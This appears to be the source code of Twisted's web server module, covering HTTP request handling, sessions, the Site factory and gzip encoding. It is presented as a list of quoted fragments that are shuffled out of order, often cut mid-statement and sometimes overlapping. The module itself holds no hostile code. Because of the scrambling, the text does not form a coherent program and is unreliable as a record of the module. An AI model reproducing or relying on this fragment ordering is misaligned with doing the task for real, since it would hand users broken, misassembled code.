"twisted.web.http.stringToDatetime instead\", \"twisted.web.server\", \"string_date_time\", ) date_time_string = http.datetimeToString string_date_time =", "# (RFC 2616, 10.4.6 and 14.7) self.setHeader(b\"Allow\", b\", \".join(allowedMethods)) s", "of finish; same interface.\"\"\" self.finish() def view_addCookie(self, issuer, k, v,", "from twisted.internet import address, interfaces from twisted.internet.error import AlreadyCalled, AlreadyCancelled", "on the fly. \"\"\" if not self._request.startedWriting: # Remove the", "Address objects aren't jellyable x[\"host\"] = _addressToTuple(x[\"host\"]) x[\"client\"] = _addressToTuple(x[\"client\"])", "== b\"HEAD\") and (b\"GET\" in allowedMethods): # We must support", "created yet for this request. cookiename = b\"_\".join([cookieString] + self.sitepath)", "the method \"%(method)s\". I only allow\"\"\" \"\"\" the method%(plural)s %(allowed)s", "@cvar compressLevel: The compression level used by the compressor, default", "= b\"GET\" self._inFakeHead = True body = resrc.render(self) if body", "An object providing L{IReactorTime} to use for scheduling expiration. @ivar", "data) def finish(self): \"\"\" Override C{http.Request.finish} for possible encoding. \"\"\"", "self.render(resrc) except BaseException: self.processingFailed(failure.Failure()) def write(self, data): \"\"\" Write data", "else: hostport = \":%d\" % port prefix = networkString( \"http%s://%s%s/\"", "returned by C{sessionFactory}. @type sessions: L{dict} mapping L{bytes} to L{Session}", "_expireCall = None def __init__(self, site, uid, reactor=None): \"\"\" Initialize", "(This will always be the session that matches the security", "not None: self._expireCall.reset(self.sessionTimeout) version = networkString(f\"TwistedWeb/{copyright.version}\") @implementer(interfaces.IProtocolNegotiationFactory) class Site(http.HTTPFactory): \"\"\"", "\"\"\" lpp = len(self.postpath) if lpp > 1: return ((lpp", "safe=b\"\") for segment in prepath]) return prefix + path def", "@see: L{Site.getResourceFor()} \"\"\" # get site from channel self.site =", "objects. Default to L{Session}. @ivar sessions: Mapping of session IDs", "as modified, which resets expiration timer. \"\"\" self.lastModified = self._reactor.seconds()", "self.expireCallbacks = [] self.touch() self.sessionNamespaces = {} def startCheckingExpiration(self): \"\"\"", "quote(string, *args, **kwargs): return _quote(string.decode(\"charmap\"), *args, **kwargs).encode(\"charmap\") def _addressToTuple(addr): if", "# Support for other methods may be implemented on a", "issuer): x = self.__dict__.copy() del x[\"transport\"] # XXX refactor this", "insecure cookie from a secure request you can set C{forceNotSecure", "(most recent call last):</b>\\n\\n\" + util.formatFailure(reason) + b\"\\n\\n</body></html>\\n\" ) else:", "# a 'GET' request and then return only the headers,", "This method is not intended for users. @param length: The", "@rtype: L{Session} or L{None} \"\"\" if self.isSecure(): return self._secureSession else:", "data from the zlib buffer. \"\"\" remain = self._zlibCompressor.flush() self._zlibCompressor", "\"\"\" if self.method == b\"OPTIONS\": self.setResponseCode(http.OK) else: self.setResponseCode(http.NOT_ALLOWED) self.setHeader(b\"Allow\", b\"OPTIONS\")", "session = None if session is None: # No session", "import deprecatedModuleAttribute from twisted.logger import Logger NOT_DONE_YET = 1 __all__", "resource's getChild method. \"\"\" request.site = self return self.resource.getChildWithDefault(pathEl, request)", "data): \"\"\"Remote version of write; same interface.\"\"\" self.write(data) def view_finish(self,", "for this value. \"\"\" import copy import os import re", "b\"HEAD\": if len(body) > 0: # This is a Bad", "version of registerProducer; same interface. (requires a remote producer.) \"\"\"", "None def __init__(self, site, uid, reactor=None): \"\"\" Initialize a session", ") epage = resource.ErrorPage(http.NOT_ALLOWED, \"Method Not Allowed\", s) body =", "is used to determine cookie names between distributed # servers", "headers do not indicate a length. \"\"\" try: getContentFile =", "request.sitepath = copy.copy(request.prepath) return resource.getChildForRequest(self.resource, request) # IProtocolNegotiationFactory def acceptableProtocols(self):", "I guess we won't include the content length. else: self.setHeader(b\"content-length\",", "for later recalling. \"\"\" url = self._prePathURL(self.prepath[:-1]) self.appRootURL = url", "view_setResponseCode(self, issuer, code, message=None): \"\"\" Remote version of setResponseCode; same", "self.expire) def notifyOnExpire(self, callback): \"\"\" Call this callback when the", "received by this factory will begin at this resource. @type", "to compress the stream. @ivar _request: A reference to the", "can set C{forceNotSecure = True}. @param forceNotSecure: Should we retrieve", "return remain class _RemoteProducerWrapper: def __init__(self, remote): self.resumeProducing = remote.remoteMethod(\"resumeProducing\")", "\"\"\"Remote version of registerProducer; same interface. (requires a remote producer.)", "body = ( b\"<html><head><title>Processing Failed\" b\"</title></head><body>\" b\"<b>Processing Failed</b></body></html>\" ) self.setResponseCode(http.INTERNAL_SERVER_ERROR)", "+ [b\"gzip\"]) else: encoding = b\"gzip\" request.responseHeaders.setRawHeaders(b\"content-encoding\", [encoding]) return _GzipEncoder(self.compressLevel,", "sessionFactory = Session sessionCheckTime = 1800 _entropy = os.urandom def", "sessionAttribute = \"_secureSession\" session = getattr(self, sessionAttribute) if session is", "no other value is set. L{None} disables the default. @ivar", "data: L{bytes} \"\"\" if not self.startedWriting: # Before doing the", "doing the first write, check to see if a default", "issuer): \"\"\"Remote version of finish; same interface.\"\"\" self.finish() def view_addCookie(self,", "else: encoding = b\"gzip\" request.responseHeaders.setRawHeaders(b\"content-encoding\", [encoding]) return _GzipEncoder(self.compressLevel, request) @implementer(iweb._IRequestEncoder)", "provider @param requestFactory: Overwrite for default requestFactory. @type requestFactory: C{callable}", "= _addressToTuple(x[\"host\"]) x[\"client\"] = _addressToTuple(x[\"client\"]) # Header objects also aren't", "view_setETag(self, issuer, tag): \"\"\"Remote version of setETag; same interface.\"\"\" self.setETag(tag)", "self.setHeader(b\"server\", version) self.setHeader(b\"date\", http.datetimeToString()) # Resource Identification self.prepath = []", "b\"gzip\" request.responseHeaders.setRawHeaders(b\"content-encoding\", [encoding]) return _GzipEncoder(self.compressLevel, request) @implementer(iweb._IRequestEncoder) class _GzipEncoder: \"\"\"", "data: http.Request.write(self, data) return http.Request.finish(self) def render(self, resrc): \"\"\" Ask", "passed to this method. @rtype: L{twisted.python.failure.Failure} \"\"\" self._log.failure(\"\", failure=reason) if", "the HTTP connection should be left open. @type NOT_DONE_YET: Opaque;", "\"\"\" Called when HTTP channel got length of content in", ") self.setResponseCode(http.INTERNAL_SERVER_ERROR) self.setHeader(b\"content-type\", b\"text/html\") self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self.write(body) self.finish()", "None def __init__(self, compressLevel, request): self._zlibCompressor = zlib.compressobj( compressLevel, zlib.DEFLATED,", "resource to render itself. If the resource does not support", "logfile.LogFile(os.path.basename(path), os.path.dirname(path)) def __getstate__(self): d = self.__dict__.copy() d[\"sessions\"] = {}", "self.channel.site # set various default headers self.setHeader(b\"server\", version) self.setHeader(b\"date\", http.datetimeToString())", "resource doesn't, fake it by giving the resource # a", "twisted.logger import Logger NOT_DONE_YET = 1 __all__ = [ \"supportedMethods\",", "# NOT_MODIFIED and NO_CONTENT responses. We also omit it if", "instead. \"\"\" counter = 0 requestFactory = Request displayTracebacks =", "L{Session} given the default C{sessionFactory} @ivar counter: The number of", "not secure: cookieString = b\"TWISTED_SESSION\" sessionAttribute = \"_insecureSession\" else: cookieString", "buffer. \"\"\" remain = self._zlibCompressor.flush() self._zlibCompressor = None return remain", "will be transmitted over plain-text HTTP. @ivar _secureSession: The L{Session}", "L{None} if the request headers do not indicate a length.", "A token value which L{twisted.web.resource.IResource.render} implementations can return to indicate", "begin at this resource. @type resource: L{IResource} provider @param requestFactory:", "from twisted.web.error import UnsupportedMethod from incremental import Version from twisted.python.deprecate", "Allowed telling the client they can only use OPTIONS. \"\"\"", "request): \"\"\" Get a resource for a request. This iterates", "also omit it if there # is a Content-Length header", "\"Method Not Allowed\", s) body = epage.render(self) else: epage =", "if ( needsCT and contentType is None and self.defaultContentType is", "these calls remain local _secureSession = None _insecureSession = None", "= Session sessionCheckTime = 1800 _entropy = os.urandom def __init__(self,", "request): \"\"\" Redirect because a Site is always a directory.", "request {slf} for resource {resrc} is\" \" returning a message", "do not depend on any particular type for this value.", "responseHeaders # once though, so it's still okay. if not", "supports gzip. @ivar _zlibCompressor: The zlib compressor instance used to", "self._inFakeHead = False self.method = b\"HEAD\" self.write(b\"\") self.finish() return if", ") # Only let the write happen if we're not", "= list(map(unquote, self.path[1:].split(b\"/\"))) # Short-circuit for requests whose path is", "url = self._prePathURL(self.prepath[:-1]) self.appRootURL = url def getRootURL(self): \"\"\" Get", "readiness. Rather than bother the user with this, we simply", "if lpp > 1: return ((lpp - 1) * b\"../\")", "finish(self): \"\"\" Finish handling the request request, flushing any data", "A reference to the originating request. @since: 12.3 \"\"\" _zlibCompressor", "self._zlibCompressor.compress(data) def finish(self): \"\"\" Finish handling the request request, flushing", "else: epage = resource.ErrorPage( http.NOT_IMPLEMENTED, \"Huh?\", \"I don't know how", "sessionAttribute) if session is not None: # We have a", "addr.port) elif isinstance(addr, address.UNIXAddress): return (\"UNIX\", addr.name) else: return tuple(addr)", "requests and not secure for HTTP requests. If for some", "@type reason: L{twisted.python.failure.Failure} @return: The reason passed to this method.", "# servers and disconnected sites. request.sitepath = copy.copy(request.prepath) return resource.getChildForRequest(self.resource,", "self.resource.getChildWithDefault(pathEl, request) def getResourceFor(self, request): \"\"\" Get a resource for", "server capabilities or readiness. Rather than bother the user with", "b\", \".join(allowedMethods)) s = ( \"\"\"Your browser approached me (at", "the requested resource. @param name: The child resource @type name:", "that links to a sibling of the requested resource. @param", "self.addCookie(cookiename, session.uid, path=b\"/\", secure=secure) setattr(self, sessionAttribute, session) if sessionInterface: return", "# See LICENSE for details. \"\"\" This is a web", "return (\"INET\", addr.host, addr.port) elif isinstance(addr, address.UNIXAddress): return (\"UNIX\", addr.name)", "session: session = self.site.makeSession() self.addCookie(cookiename, session.uid, path=b\"/\", secure=secure) setattr(self, sessionAttribute,", "resource in this request's L{Site}, and call L{self.render()<Request.render()>} with it.", "in seconds. @type sessionTimeout: L{float} @ivar lastModified: Time the C{touch()}", "looked up with L{Request.getSession}, this will return that object. (This", "Get a previously generated session. @param uid: Unique ID of", "is NOT_DONE_YET: self._log.info( \"Tried to fake a HEAD request for", "\"\"\" @param resource: The root of the resource hierarchy. All", "@see: L{twisted.web.http.HTTPFactory.__init__} \"\"\" super().__init__(*args, **kwargs) self.sessions = {} self.resource =", "except (AlreadyCalled, AlreadyCancelled): # Session has already expired. session =", "in allowedMethods): # We must support HEAD (RFC 2616, 5.1.1).", "C{touch()} method was last called (or time the session was", "any data from the zlib buffer. \"\"\" remain = self._zlibCompressor.flush()", "= self._zlibCompressor.flush() self._zlibCompressor = None return remain class _RemoteProducerWrapper: def", "transmitted only over HTTPS. \"\"\" defaultContentType = b\"text/html\" site =", "not self.startedWriting: # Before doing the first write, check to", "(self.method == b\"HEAD\") and (b\"GET\" in allowedMethods): # We must", "NOT_DONE_YET: self._log.info( \"Tried to fake a HEAD request for {resrc},", "integrates with the twisted.internet infrastructure. @var NOT_DONE_YET: A token value", "expire(self): \"\"\" Expire/logout of the session. \"\"\" del self.site.sessions[self.uid] for", "failure, components from twisted import copyright from twisted.web import resource", "\"\"\" An HTTP request. @ivar defaultContentType: A L{bytes} giving the", "If a session has already been created or looked up", "def view_setLastModified(self, issuer, when): \"\"\"Remote version of setLastModified; same interface.\"\"\"", "used. \"\"\" super().__init__() if reactor is None: reactor = site.reactor", "with no body. self.setHeader(b\"Content-Length\", b\"0\") self.finish() @implementer(iweb._IRequestEncoderFactory) class GzipEncoderFactory: \"\"\"", "def notifyOnExpire(self, callback): \"\"\" Call this callback when the session", "self.__dict__.copy() d[\"sessions\"] = {} return d def _mkuid(self): \"\"\" (internal)", "util._PRE(reflect.safe_repr(body)), ).render(self) if self.method == b\"HEAD\": if len(body) > 0:", "Unique ID of the session. @type uid: L{bytes}. @raise KeyError:", "deprecatedModuleAttribute( Version(\"Twisted\", 12, 1, 0), \"Please use twisted.web.http.stringToDatetime instead\", \"twisted.web.server\",", "Generate an opaque, unique ID for a user's session. \"\"\"", "view_setHeader(self, issuer, k, v): \"\"\"Remote version of setHeader; same interface.\"\"\"", "None prepath: Optional[List[bytes]] = None postpath: Optional[List[bytes]] = None __pychecker__", "the write happen if we're not generating a HEAD response", "\"\"\" _gzipCheckRegex = re.compile(br\"(:?^|[\\s,])gzip(:?$|[\\s,])\") compressLevel = 9 def encoderForRequest(self, request):", "return logfile.LogFile(os.path.basename(path), os.path.dirname(path)) def __getstate__(self): d = self.__dict__.copy() d[\"sessions\"] =", "default. @ivar _insecureSession: The L{Session} object representing state that will", "else: self.setResponseCode(http.NOT_ALLOWED) self.setHeader(b\"Allow\", b\"OPTIONS\") # RFC 7231 says we MUST", "resource. @type resource: L{IResource} provider @param requestFactory: Overwrite for default", "UnsupportedMethod as e: allowedMethods = e.allowedMethods if (self.method == b\"HEAD\")", "L{Site} @ivar uid: A unique identifier for the session. @type", "is used on a secure request, this will not return", "secure request, this will not return that session.) @return: the", "\"\"\" if not self._request.startedWriting: # Remove the content-length header, we", "resource # a 'GET' request and then return only the", "= remote.remoteMethod(\"pauseProducing\") self.stopProducing = remote.remoteMethod(\"stopProducing\") class Session(components.Componentized): \"\"\" A user's", "C{.write} and C{.finish} to complete the request, and that the", "= epage.render(self) else: epage = resource.ErrorPage( http.NOT_IMPLEMENTED, \"Huh?\", \"I don't", "backwards compatibility deprecatedModuleAttribute( Version(\"Twisted\", 12, 1, 0), \"Please use twisted.web.http.datetimeToString", "we are doing that, # startedWriting will never be true,", "True body = resrc.render(self) if body is NOT_DONE_YET: self._log.info( \"Tried", "this factory will begin at this resource. @type resource: L{IResource}", "AlreadyCancelled from twisted.web import iweb, http, util from twisted.web.http import", "if no other value is set. L{None} disables the default.", "last)</title></head>\" b\"<body><b>web.Server Traceback\" b\" (most recent call last):</b>\\n\\n\" + util.formatFailure(reason)", "C{sessionFactory} @ivar counter: The number of sessions that have been", "request. cookiename = b\"_\".join([cookieString] + self.sitepath) sessionCookie = self.getCookie(cookiename) if", "gotLength(self, length): \"\"\" Called when HTTP channel got length of", "self.setHeader(b\"Allow\", b\", \".join(allowedMethods)) s = ( \"\"\"Your browser approached me", "def getSession(self, sessionInterface=None, forceNotSecure=False): \"\"\" Check if there is a", "# faking out the request method. Note, if we are", "a non-secure page secure = self.isSecure() and not forceNotSecure if", "self._reactor.callLater(self.sessionTimeout, self.expire) def notifyOnExpire(self, callback): \"\"\" Call this callback when", "# is a Content-Length header set to 0, as empty", "name: The sibling resource @type name: C{bytes} @return: A relative", "== b\"HEAD\": if len(body) > 0: # This is a", "+ 1 return hexlify(self._entropy(32)) def makeSession(self): \"\"\" Generate a new", "same interface. \"\"\" self.setResponseCode(code, message) def view_registerProducer(self, issuer, producer, streaming):", "> 1: return ((lpp - 1) * b\"../\") + name", "if we're not generating a HEAD response by # faking", "not self._inFakeHead: if self._encoder: data = self._encoder.encode(data) http.Request.write(self, data) def", "import iweb, http, util from twisted.web.http import unquote from twisted.python", "+ util._PRE(reflect.safe_repr(body)), ).render(self) if self.method == b\"HEAD\": if len(body) >", "on a secure request, this will not return that session.)", "\"\"\" An encoder which supports gzip. @ivar _zlibCompressor: The zlib", "indicate that the application will later call C{.write} and C{.finish}", "getStateToCopyFor(self, issuer): x = self.__dict__.copy() del x[\"transport\"] # XXX refactor", "= ( \"\"\"Your browser approached me (at %(URI)s) with\"\"\" \"\"\"", "from binascii import hexlify from zope.interface import implementer from twisted.python.compat", "part of the URL for later recalling. \"\"\" url =", "a low-effort way to probe server capabilities or readiness. Rather", "an opaque, unique ID for a user's session. \"\"\" self.counter", "+ b\"/\" + name else: return name def gotLength(self, length):", "various default headers self.setHeader(b\"server\", version) self.setHeader(b\"date\", http.datetimeToString()) # Resource Identification", "return x # HTML generation helpers def sibLink(self, name): \"\"\"", "must support HEAD (RFC 2616, 5.1.1). If the # resource", "setattr(self, sessionAttribute, session) if sessionInterface: return session.getComponent(sessionInterface) return session def", "was created). A UNIX timestamp as returned by L{IReactorTime.seconds()}. @type", "by C{sessionFactory}. @type sessions: L{dict} mapping L{bytes} to L{Session} given", "resource. @param name: The child resource @type name: C{bytes} @return:", "self.content.seek(0, 0) x[\"content_data\"] = self.content.read() x[\"remote\"] = ViewPoint(issuer, self) #", "issuer): self.unregisterProducer() ### these calls remain local _secureSession = None", "not intended for users. @param length: The length of the", "if self.method == b\"HEAD\": if len(body) > 0: # This", "twisted.internet infrastructure. @var NOT_DONE_YET: A token value which L{twisted.web.resource.IResource.render} implementations", "a %s request.\" % (escape(self.method.decode(\"charmap\")),), ) body = epage.render(self) #", "length. \"\"\" try: getContentFile = self.channel.site.getContentFile except AttributeError: http.Request.gotLength(self, length)", "self._request = request def encode(self, data): \"\"\" Write to the", "Request displayTracebacks = False sessionFactory = Session sessionCheckTime = 1800", "utility class contains no functionality, but is used to represent", "x[\"remote\"] = ViewPoint(issuer, self) # Address objects aren't jellyable x[\"host\"]", "content-type. needsCT = self.code not in (http.NOT_MODIFIED, http.NO_CONTENT) contentType =", "see if a default # Content-Type header should be supplied.", "non-secure page secure = self.isSecure() and not forceNotSecure if not", "@ivar sessionCheckTime: Deprecated and unused. See L{Session.sessionTimeout} instead. \"\"\" counter", "a traceback. @param reason: Reason this request has failed. @type", "can only use OPTIONS. \"\"\" if self.method == b\"OPTIONS\": self.setResponseCode(http.OK)", "Content-Type header should be supplied. We omit it on #", "self._handleStar() return try: resrc = self.site.getResourceFor(self) if resource._IEncodingResource.providedBy(resrc): encoder =", "pathEl, request): \"\"\" Emulate a resource's getChild method. \"\"\" request.site", "requested resource. @param name: The child resource @type name: C{bytes}", "call L{self.render()<Request.render()>} with it. @see: L{Site.getResourceFor()} \"\"\" # get site", "Not Allowed\", s) body = epage.render(self) else: epage = resource.ErrorPage(", "issuer, code, message=None): \"\"\" Remote version of setResponseCode; same interface.", "header, we can't honor it # because we compress on", "None _insecureSession = None @property def session(self): \"\"\" If a", "session.touch() except (AlreadyCalled, AlreadyCancelled): # Session has already expired. session", "\"\"\" Finish this request with an indication that processing failed", "(if not responding to a HEAD request). @param data: A", "return _GzipEncoder(self.compressLevel, request) @implementer(iweb._IRequestEncoder) class _GzipEncoder: \"\"\" An encoder which", "Content-Length header set to 0, as empty bodies don't need", "for sessions objects. Default to L{Session}. @ivar sessions: Mapping of", "cookieString = b\"TWISTED_SECURE_SESSION\" sessionAttribute = \"_secureSession\" session = getattr(self, sessionAttribute)", "= re.compile(br\"(:?^|[\\s,])gzip(:?$|[\\s,])\") compressLevel = 9 def encoderForRequest(self, request): \"\"\" Check", "addressed resource in this request's L{Site}, and call L{self.render()<Request.render()>} with", "not forceNotSecure if not secure: cookieString = b\"TWISTED_SESSION\" sessionAttribute =", "resource hierarchy. All request traversal for requests received by this", "session attribute @rtype: L{Session} or L{None} \"\"\" if self.isSecure(): return", "being something that a client can send as a low-effort", "L{int} @ivar sessionCheckTime: Deprecated and unused. See L{Session.sessionTimeout} instead. \"\"\"", "*args, **kwargs): \"\"\" @param resource: The root of the resource", "b\"OPTIONS\": self.setResponseCode(http.OK) else: self.setResponseCode(http.NOT_ALLOWED) self.setHeader(b\"Allow\", b\"OPTIONS\") # RFC 7231 says", "\"\"\" Check if there is a session cookie, and if", "to see if a default # Content-Type header should be", "opaque, unique ID for a user's session. \"\"\" self.counter =", "generate a C{NOT IMPLEMENTED} or C{NOT ALLOWED} response. @param resrc:", "80 if port == default: hostport = \"\" else: hostport", "the state that will be transmitted only over HTTPS. \"\"\"", "length of content in this request. This method is not", "self.appRootURL = url def getRootURL(self): \"\"\" Get a previously-remembered URL.", "12.3 \"\"\" _gzipCheckRegex = re.compile(br\"(:?^|[\\s,])gzip(:?$|[\\s,])\") compressLevel = 9 def encoderForRequest(self,", "the content length. else: self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self._inFakeHead =", "from twisted.spread.pb import Copyable, ViewPoint from twisted.internet import address, interfaces", "self.prepath = [] self.postpath = list(map(unquote, self.path[1:].split(b\"/\"))) # Short-circuit for", "\".join([nativeString(x) for x in allowedMethods]), } ) epage = resource.ErrorPage(http.NOT_ALLOWED,", "associated with I{site} is used. \"\"\" super().__init__() if reactor is", "state that will be transmitted only over HTTPS. \"\"\" defaultContentType", "session = self.site.getSession(sessionCookie) except KeyError: pass # if it still", "# RFC 7231 says we MUST set content-length 0 when", "Handle receiving a request whose path is '*'. RFC 7231", "OPTIONS. \"\"\" if self.method == b\"OPTIONS\": self.setResponseCode(http.OK) else: self.setResponseCode(http.NOT_ALLOWED) self.setHeader(b\"Allow\",", "Emulate a resource's getChild method. \"\"\" request.site = self return", "encoderForRequest(self, request): \"\"\" Check the headers if the client accepts", "implemented on a per-resource basis. supportedMethods = (b\"GET\", b\"HEAD\", b\"POST\")", "# Remove the content-length header, we can't honor it #", "the request request, flushing any data from the zlib buffer.", "basis. supportedMethods = (b\"GET\", b\"HEAD\", b\"POST\") def quote(string, *args, **kwargs):", "__pychecker__ = \"unusednames=issuer\" _inFakeHead = False _encoder = None _log", "know how to treat a %s request.\" % (escape(self.method.decode(\"charmap\")),), )", "is not found. \"\"\" return self.sessions[uid] def buildProtocol(self, addr): \"\"\"", "\"\", nativeString(self.getRequestHostname()), hostport, ) ) path = b\"/\".join([quote(segment, safe=b\"\") for", "hierarchy. All request traversal for requests received by this factory", "b\"../\") + name elif lpp == 1: return name else:", "same interface.\"\"\" self.setHeader(k, v) def view_setLastModified(self, issuer, when): \"\"\"Remote version", "_addressToTuple(addr): if isinstance(addr, address.IPv4Address): return (\"INET\", addr.host, addr.port) elif isinstance(addr,", "def gotLength(self, length): \"\"\" Called when HTTP channel got length", "\"http%s://%s%s/\" % ( self.isSecure() and \"s\" or \"\", nativeString(self.getRequestHostname()), hostport,", "= resource if requestFactory is not None: self.requestFactory = requestFactory", "data = self._encoder.finish() if data: http.Request.write(self, data) return http.Request.finish(self) def", "to the client as HTML. Default to C{False}. @ivar sessionFactory:", "IMPLEMENTED} or C{NOT ALLOWED} response. @param resrc: The resource to", "False sessionFactory = Session sessionCheckTime = 1800 _entropy = os.urandom", "(len(body),)) self.write(body) self.finish() def processingFailed(self, reason): \"\"\" Finish this request", "**kwargs) self.sessions = {} self.resource = resource if requestFactory is", "_gzipCheckRegex = re.compile(br\"(:?^|[\\s,])gzip(:?$|[\\s,])\") compressLevel = 9 def encoderForRequest(self, request): \"\"\"", "version of finish; same interface.\"\"\" self.finish() def view_addCookie(self, issuer, k,", "1: return name else: # lpp == 0 if len(self.prepath)", "(c) Twisted Matrix Laboratories. # See LICENSE for details. \"\"\"", "include an Allow header # (RFC 2616, 10.4.6 and 14.7)", "hexlify(self._entropy(32)) def makeSession(self): \"\"\" Generate a new Session instance, and", "= epage.render(self) # end except UnsupportedMethod if body is NOT_DONE_YET:", "a previously-remembered URL. @return: An absolute URL. @rtype: L{bytes} \"\"\"", "self.sessions[uid] = self.sessionFactory(self, uid) session.startCheckingExpiration() return session def getSession(self, uid):", "a content-type. needsCT = self.code not in (http.NOT_MODIFIED, http.NO_CONTENT) contentType", "will later call C{.write} and C{.finish} to complete the request,", "got away from me.\", resrc=resrc, ) # Oh well, I", "_insecureSession = None @property def session(self): \"\"\" If a session", "util._PRE(reflect.safe_repr(resrc)) + \"<br />\" + \"Value: \" + util._PRE(reflect.safe_repr(body)), ).render(self)", "urlpath return urlpath.URLPath.fromRequest(self) def rememberRootURL(self): \"\"\" Remember the currently-processed part", "reference to the originating request. @since: 12.3 \"\"\" _zlibCompressor =", "import copy import os import re from html import escape", "= 9 def encoderForRequest(self, request): \"\"\" Check the headers if", "import reflect, failure, components from twisted import copyright from twisted.web", "= None __pychecker__ = \"unusednames=issuer\" _inFakeHead = False _encoder =", "got length of content in this request. This method is", "d = self.__dict__.copy() d[\"sessions\"] = {} return d def _mkuid(self):", "(len(self.postpath) * b\"../\") + name else: return name def childLink(self,", "b\"HEAD\") and (b\"GET\" in allowedMethods): # We must support HEAD", "zlib from binascii import hexlify from zope.interface import implementer from", "the request headers. L{None} if the request headers do not", "responding to a HEAD request). @param data: A string to", "= True body = resrc.render(self) if body is NOT_DONE_YET: self._log.info(", "be supplied. We omit it on # NOT_MODIFIED and NO_CONTENT", "200 OK. Any non-OPTIONS verb gets a 405 Method Not", "def expire(self): \"\"\" Expire/logout of the session. \"\"\" del self.site.sessions[self.uid]", "and self._expireCall.active(): self._expireCall.cancel() # Break reference cycle. self._expireCall = None", "def __getstate__(self): d = self.__dict__.copy() d[\"sessions\"] = {} return d", "be transmitted only over HTTPS. \"\"\" defaultContentType = b\"text/html\" site", "contentType = self.responseHeaders.getRawHeaders(b\"content-type\") contentLength = self.responseHeaders.getRawHeaders(b\"content-length\") contentLengthZero = contentLength and", "b\"<html><head><title>Processing Failed\" b\"</title></head><body>\" b\"<b>Processing Failed</b></body></html>\" ) self.setResponseCode(http.INTERNAL_SERVER_ERROR) self.setHeader(b\"content-type\", b\"text/html\") self.setHeader(b\"content-length\",", "return tuple(addr) @implementer(iweb.IRequest) class Request(Copyable, http.Request, components.Componentized): \"\"\" An HTTP", "\"\"\" if self.postpath: return (len(self.postpath) * b\"../\") + name else:", "self.sessionNamespaces = {} def startCheckingExpiration(self): \"\"\" Start expiration tracking. @return:", "resource, requestFactory=None, *args, **kwargs): \"\"\" @param resource: The root of", "elif lpp == 1: return name else: # lpp ==", "in prepath]) return prefix + path def prePathURL(self): return self._prePathURL(self.prepath)", "channel got length of content in this request. This method", "\"twisted.web.server\", \"date_time_string\", ) deprecatedModuleAttribute( Version(\"Twisted\", 12, 1, 0), \"Please use", "-*- test-case-name: twisted.web.test.test_web -*- # Copyright (c) Twisted Matrix Laboratories.", "2616, 10.4.6 and 14.7) self.setHeader(b\"Allow\", b\", \".join(allowedMethods)) s = (", "and 14.7) self.setHeader(b\"Allow\", b\", \".join(allowedMethods)) s = ( \"\"\"Your browser", "if self._expireCall is not None: self._expireCall.reset(self.sessionTimeout) version = networkString(f\"TwistedWeb/{copyright.version}\") @implementer(interfaces.IProtocolNegotiationFactory)", "length: The length of the request body, as indicated by", "rememberRootURL(self): \"\"\" Remember the currently-processed part of the URL for", "twisted.internet import address, interfaces from twisted.internet.error import AlreadyCalled, AlreadyCancelled from", "not isinstance(body, bytes): body = resource.ErrorPage( http.INTERNAL_SERVER_ERROR, \"Request did not", "Get a resource for a request. This iterates through the", "x[\"site\"] self.content.seek(0, 0) x[\"content_data\"] = self.content.read() x[\"remote\"] = ViewPoint(issuer, self)", "headers, # not the body. self._log.info( \"Using GET to fake", "faking out the request method. Note, if we are doing", "for default requestFactory. @type requestFactory: C{callable} or C{class}. @see: L{twisted.web.http.HTTPFactory.__init__}", "def childLink(self, name): \"\"\" Return the text that links to", "from twisted.web import resource from twisted.web.error import UnsupportedMethod from incremental", "root of the resource hierarchy. All request traversal for requests", "request, and that the HTTP connection should be left open.", "%(URI)s) with\"\"\" \"\"\" the method \"%(method)s\". I only allow\"\"\" \"\"\"", "*args, **kwargs): return _quote(string.decode(\"charmap\"), *args, **kwargs).encode(\"charmap\") def _addressToTuple(addr): if isinstance(addr,", "this site. \"\"\" channel = super().buildProtocol(addr) channel.requestFactory = self.requestFactory channel.site", "objects also aren't jellyable. x[\"requestHeaders\"] = list(x[\"requestHeaders\"].getAllRawHeaders()) return x #", "@type requestFactory: C{callable} or C{class}. @see: L{twisted.web.http.HTTPFactory.__init__} \"\"\" super().__init__(*args, **kwargs)", "a HEAD request for {resrc}\", resrc=resrc ) self.method = b\"GET\"", "version) self.setHeader(b\"date\", http.datetimeToString()) # Resource Identification self.prepath = [] self.postpath", "also aren't jellyable. x[\"requestHeaders\"] = list(x[\"requestHeaders\"].getAllRawHeaders()) return x # HTML", "self.site.getResourceFor(self) if resource._IEncodingResource.providedBy(resrc): encoder = resrc.getEncoder(self) if encoder is not", "indication that processing failed and possibly display a traceback. @param", "level used by the compressor, default to 9 (highest). @since:", "e: allowedMethods = e.allowedMethods if (self.method == b\"HEAD\") and (b\"GET\"", "same interface.\"\"\" self.write(data) def view_finish(self, issuer): \"\"\"Remote version of finish;", "remote.remoteMethod(\"pauseProducing\") self.stopProducing = remote.remoteMethod(\"stopProducing\") class Session(components.Componentized): \"\"\" A user's session", "twisted import copyright from twisted.web import resource from twisted.web.error import", "self.startedWriting: # Before doing the first write, check to see", "HTTP requests. If for some reason you need access to", "\"\"\" Get a resource for a request. This iterates through", "v) def view_setLastModified(self, issuer, when): \"\"\"Remote version of setLastModified; same", "factory which is called with (channel) and creates L{Request} instances.", "we can't honor it # because we compress on the", "9 (highest). @since: 12.3 \"\"\" _gzipCheckRegex = re.compile(br\"(:?^|[\\s,])gzip(:?$|[\\s,])\") compressLevel =", "\"\"\" Check the headers if the client accepts gzip encoding,", "that the application will later call C{.write} and C{.finish} to", "object representing state that will be transmitted over plain-text HTTP.", "def render(self, resrc): \"\"\" Ask a resource to render itself.", "@rtype: C{bytes} \"\"\" if self.postpath: return (len(self.postpath) * b\"../\") +", "don't know how to treat a %s request.\" % (escape(self.method.decode(\"charmap\")),),", "Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details.", "if a default # Content-Type header should be supplied. We", "self.stopProducing = remote.remoteMethod(\"stopProducing\") class Session(components.Componentized): \"\"\" A user's session with", "message) def view_registerProducer(self, issuer, producer, streaming): \"\"\"Remote version of registerProducer;", "view_addCookie(self, issuer, k, v, **kwargs): \"\"\"Remote version of addCookie; same", "None: # No session was created yet for this request.", "only use OPTIONS. \"\"\" if self.method == b\"OPTIONS\": self.setResponseCode(http.OK) else:", "type for this value. \"\"\" import copy import os import", "currently-processed part of the URL for later recalling. \"\"\" url", "from twisted.python import logfile return logfile.LogFile(os.path.basename(path), os.path.dirname(path)) def __getstate__(self): d", "session expires or logs out. \"\"\" self.expireCallbacks.append(callback) def expire(self): \"\"\"", "+ \"<br />\" + \"Value: \" + util._PRE(reflect.safe_repr(body)), ).render(self) if", "KeyError: pass # if it still hasn't been set, 